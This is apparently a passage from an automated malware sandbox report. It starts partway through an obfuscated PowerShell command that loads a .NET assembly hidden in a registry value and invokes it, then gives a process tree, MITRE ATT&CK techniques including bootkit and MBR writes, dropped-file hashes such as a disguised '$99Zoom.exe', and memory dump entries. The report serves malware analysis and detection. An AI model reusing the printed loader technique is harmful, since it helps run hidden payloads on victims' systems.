nteropServices.Marshal]::GetDelegateForFunctionPointer($gMEPSJGFtTnVYyidK,$GsHOoybKjsuiWKwOoBxbjh).Invoke($pDymsRxaFpbQamaZb,[uint32]8,0x20,[ref]$vdKKAoTCWn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+''+'9'+''+[Char](57)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5944

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe b20b75b6dce8e78ee3c6d346ca9081b0 TFoRFwxYnUK1FaH/AIDGsA.0.1.0.0.0
1⤵
- Sets service image path in registry
- Modifies data under HKEY_USERS
PID:4544
- C:\Windows\System32\Conhost.exe
  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
  2⤵
  PID:5068

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:3252

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks BIOS information in registry
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Enumerates system info in registry
PID:4592

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
- Drops file in Windows directory
PID:3936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
PID:2884

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:4024

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2060

C:\Windows\system32\UsoClient.exe
C:\Windows\system32\usoclient.exe
1⤵
PID:884

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

config.json

Path C:\ProgramData\Microsoft\Windows\OneSettings\config.json
Size 6KB
SHA256 a798dead9cfb0ce27e67b6298c9cc85df87d4af6f0c865742a76a4cf5c208068
MD5 5e1a01d6bf4e00ffeaf4e5531d0bec8e
SHA1 48eea89c355a37371c53a598a7ca892c2194edf8
SHA512 1dd0fdc05ea760ec9bd5c495bd32be3487dd52fc905322e272a009105782c2c1780714b51e54d62302d16a6893062120db0cbccbd5a4f7b271551f141b49af8c
SSDEEP 192:nGDCctouMgRXUhWwpoTQ/eKIO2CE4cA1RdrPLjT:nG5touMgRXUhWwpoTQ/eKL2tXWRVPLjT
TLSH
T115E1750DB184C87E9FAB61E6644AB940C6687B27ADC44CE4E5C28D1ED45F74C711CBE8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferred

Path C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\Preferred
Size 24B
SHA256 e88d21812f4addade47ed858154c6c1be1683a2d04040ba4a6ac30c3702f6a9c
MD5 a07576bd17108d39e14481a3019f6596
SHA1 990fe7a694f670322a4830717ac6e9d29727a33e
SHA512 97c6414692390e247bf2018cf76bec22215c317aaa59690fc23173b6b5ad0ab71495e9d8f5706d4aca3b8f38a388e3953166b8e17d24703f5a85b7b120b7f146
MD5 SHA1 SHA512

Submit Download

Schedule Maintenance Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Size 2KB
SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
MD5 8abf2d6067c6f3191a015f84aa9b6efe
SHA1 98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA512 c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
TLSH
T1A451465367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

Schedule Maintenance Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
Size 2KB
SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
MD5 f313c5b4f95605026428425586317353
SHA1 06be66fa06e1cffc54459c38d3d258f46669d01a
SHA512 b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
TLSH
T1D451465367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

Schedule Wake To Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Size 2KB
SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
MD5 ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1 a3879621f9493414d497ea6d70fbf17e283d5c08
SHA512 1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
TLSH
T12951455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

Schedule Wake To Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
Size 2KB
SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
MD5 7d612892b20e70250dbd00d0cdd4f09b
SHA1 63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA512 f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
TLSH
T15151455367EE1108F2F76B2CAEB620218EA77D455D39C46D00AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

Schedule Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Size 2KB
SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
MD5 1e8e2076314d54dd72e7ee09ff8a52ab
SHA1 5fd0a67671430f66237f483eef39ff599b892272
SHA512 5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
TLSH
T1CD51355367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

Schedule Work

Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
Size 2KB
SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
MD5 0b990e24f1e839462c0ac35fef1d119e
SHA1 9e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA512 c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4
TLSH
T18C51355367EE1108F2F76B2CAEB620218EA77D455D39C46D01AC240DCBF7E6289607B7
MD5 SHA1 SHA512 TLSH

Submit Download

$99Zoom.exe

Path C:\Windows\Temp\$99Zoom.exe
Size 12.9MB
SHA256 6b19c4cad47159ecf4bcd61d2e7d493aa19ecaafd83542a3b3ce7d92ed993304
MD5 f79b1677ffac5eb777f1bfd9d651c80f
SHA1 88293af61239dcc1090f46eeb3b134a244516e06
SHA512 d5f231b193c65d126c477813314f2f482ba18a817124a5043a767f71706cbc6444ae24af80914e05713ab853d078e427cce923a9e4eed7eda41457d38faedfee
SSDEEP 196608:QgfNGsba3XmBsiTKcabSmPyJAJMAu0KCFuN1Mf:QgfNGnXmBsiTKcabSmPyYMwKCFuN1Mf
TLSH
T176D67D5E8B90C4A8C3B55831D1C7598023D3A4447BD03EF37882A7A56B6FEF895B5F28
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_3zuqcobw.soo.ps1

Path C:\Windows\Temp\__PSScriptPolicyTest_3zuqcobw.soo.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419
Size 412B
SHA256 64f9fb4fce47aa1d4e8e0a7652c755fe61dda6472f825c20e0d9cc44a5aa3b12
MD5 d5e633d4f4272d15542f70316b9d9272
SHA1 79b42744f858218aab2bd27ad500e8eb65e63077
SHA512 6a6e903b1767c38e18579aa9a5a159d91c81b1b1ab315a0cf38fb566778adf108dbff0d8dd82d1916bf420b11b5fc9b27d5e23763fae3a55023e2113bf8df4ab
TLSH
T10BE0681416FB555CF5F4D4348BEA6961469EF0221458F2EC1AD057046606500EC41934
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 52fd66cdeb2c1eb206a7cb2f8ab91b9594caa367443d6d457aa665446bb5c760
MD5 53e7d5ef4d119de244668b9b57da9c51
SHA1 6767a782cdec693099aa3edb361b1e34769a3a1e
SHA512 adc4d65f851338d90908496df691a2f1c77794bf6ac1a04adbf66c9ad481c7671d8f82d04f8d5b0f37b527e547d9e2e786f4738697787d8a3bd49766f3c0fbaf
TLSH
T1DA115727B39C8921CC96153A509D9C11727683D7419EDF9F6FC0D214A07F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

memory/328-103-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-111-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-112-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-109-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-110-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-108-0x000002A0B88E0000-0x000002A0B890B000-memory.dmp

Download

memory/328-113-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/384-83-0x00000145EEDB0000-0x00000145EEDDB000-memory.dmp

Download

memory/384-85-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/384-84-0x00000145EEDB0000-0x00000145EEDDB000-memory.dmp

Download

memory/384-82-0x00000145EEDB0000-0x00000145EEDDB000-memory.dmp

Download

memory/384-80-0x00000145EEDB0000-0x00000145EEDDB000-memory.dmp

Download

memory/384-75-0x00000145EEDB0000-0x00000145EEDDB000-memory.dmp

Download

memory/532-89-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-94-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-95-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-96-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-97-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-98-0x0000019B38400000-0x0000019B3842B000-memory.dmp

Download

memory/532-99-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/628-31-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-40-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/628-20-0x000001AFE89C0000-0x000001AFE89C5000-memory.dmp

Download

memory/628-22-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-28-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-29-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-30-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-33-0x000001AFE8E40000-0x000001AFE8E65000-memory.dmp

Download

memory/628-34-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/628-35-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/628-42-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/628-21-0x000001AFE8A90000-0x000001AFE8A98000-memory.dmp

Download

memory/628-41-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/628-43-0x000001AFE8E70000-0x000001AFE8E9B000-memory.dmp

Download

memory/684-57-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/684-52-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/684-53-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/684-47-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/684-54-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/684-55-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/684-56-0x0000025737EB0000-0x0000025737EDB000-memory.dmp

Download

memory/892-69-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-61-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-66-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-67-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-68-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-70-0x00000294D3570000-0x00000294D359B000-memory.dmp

Download

memory/892-71-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/1052-125-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1052-122-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1052-117-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1052-127-0x00007FFA50F10000-0x00007FFA50F20000-memory.dmp

Download

memory/1052-126-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1052-124-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1052-123-0x000001C30A760000-0x000001C30A78B000-memory.dmp

Download

memory/1120-136-0x000001843A6C0000-0x000001843A6EB000-memory.dmp

Download

memory/1120-131-0x000001843A6C0000-0x000001843A6EB000-memory.dmp

Download

memory/1120-137-0x000001843A6C0000-0x000001843A6EB000-memory.dmp

Download

memory/1120-138-0x000001843A6C0000-0x000001843A6EB000-memory.dmp

Download

memory/3808-1008-0x00000190CDE40000-0x00000190CDE5C000-memory.dmp

Download

memory/3808-1013-0x00000190CDE70000-0x00000190CDE7A000-memory.dmp

Download

memory/3808-989-0x00000190CCEF0000-0x00000190CCFA5000-memory.dmp

Download

memory/3808-990-0x00000190CCFB0000-0x00000190CCFBA000-memory.dmp

Download

memory/3808-987-0x00000190CCED0000-0x00000190CCEEC000-memory.dmp

Download

memory/3808-1009-0x00000190CCFC0000-0x00000190CCFCA000-memory.dmp

Download

memory/3808-1010-0x00000190CDE80000-0x00000190CDE9A000-memory.dmp

Download

memory/3808-1011-0x00000190CCFD0000-0x00000190CCFD8000-memory.dmp

Download

memory/3808-1012-0x00000190CDE60000-0x00000190CDE66000-memory.dmp

Download

memory/5444-0-0x0000000000C00000-0x0000000001915000-memory.dmp

Download

memory/5444-2-0x0000000000C00000-0x0000000001915000-memory.dmp

Download

memory/5944-19-0x00007FFA90BD0000-0x00007FFA90C8E000-memory.dmp

Download

memory/5944-18-0x00007FFA8E5B0000-0x00007FFA8E879000-memory.dmp

Download

memory/5944-17-0x00007FFA90E90000-0x00007FFA91085000-memory.dmp

Download

memory/5944-16-0x0000026B30D10000-0x0000026B30D3A000-memory.dmp

Download

memory/5944-15-0x0000026B2DFE0000-0x0000026B2DFF0000-memory.dmp

Download

memory/5944-14-0x0000026B2DF90000-0x0000026B2DFB2000-memory.dmp

Download

memory/5944-5-0x0000026B2DFE0000-0x0000026B2DFF0000-memory.dmp

Download

memory/5944-6-0x0000026B2DFE0000-0x0000026B2DFF0000-memory.dmp

Download